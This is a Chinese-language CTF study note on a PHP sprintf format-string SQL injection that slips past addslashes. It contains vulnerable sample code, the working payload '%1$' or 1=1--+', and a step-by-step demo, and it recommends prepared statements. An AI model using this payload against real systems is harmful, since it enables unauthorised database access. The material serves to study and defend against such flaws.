•PHP addslashes + sprintf 格式化字符串注入
靶场示例 ctfshow:?name=admin&pass=123%1$'--+
一、sprintf()
sprintf只解析第一个format格式字符串中的%标记;传入变量内部的%不会解析。返回格式化后的字符串,不会直接输出。
sprintf格式符
靶场原版代码(ctfshow「给她」)
<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
// payload:?name=admin&pass=%1$' or 1=1--+
// 最终SQL:select * from user where name='admin' and pass='' or 1=1-- '
?>
本地调试Demo(区分漏洞触发条件)
<?php
$input = addslashes ("%1$' or 1=1#" );
// step1 addslashes:%1$\' or 1=1#
echo "step1-addslashes-input: {$input}
";
// 注意:这里$input被拼入sprintf format格式串,不是传给%s变量!
$b = sprintf ("OR b='%s'", $input );
echo "step2-sprintf-b:$b
";
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
echo "step3-sql: {$sql}";
// 输出:SELECT * FROM t WHERE a='admin' OR b='' or 1=1#'
?>
调试提醒:直接echo到浏览器,单引号会被HTML渲染截断;务必**var_dump()**查看PHP内存真实字符串。
二、addslashes()
语法
string addslashes ( string $str )
功能:在4种预定义字符前添加反斜杠\转义
示例:
$str = "a'b\"c\\";
echo addslashes($str);
//输出:a\'b\"c\\
反向函数 stripslashes(),移除addslashes增加的反斜杠
$s = addslashes("x'y");
echo stripslashes($s); // x'y
重要:addslashes不能用来防御SQL注入
漏洞完整字符变化流程
Payload输入:%1$' or 1=1#
SELECT * FROM t WHERE a='admin' OR b='' or 1=1#'
漏洞触发必要前提:可控字符串拼入sprintf第一个format参数; 如果可控内容只传入%s占位变量内部,不会触发漏洞,变量内部的%不会被sprintf解析。
历史背景
PHP5.4后彻底删除magic_quotes_gpc,不再对GET/POST/COOKIE自动调用addslashes,需要手动调用。
addslashes vs mysqli_real_escape_string
| |
|---|
addslashes() | PHP层面字符串替换,不感知数据库字符集,存在宽字符、sprintf绕过 |
mysqli_real_escape_string() | 基于数据库连接当前字符集转义;依然不如PDO预处理安全 |
安全方案:SQL拼接一律使用PDO/mysqli预处理语句,不要依赖转义函数。
三、做题速记
需要我给你整理一页考试速记卡片版本吗?
单引号 '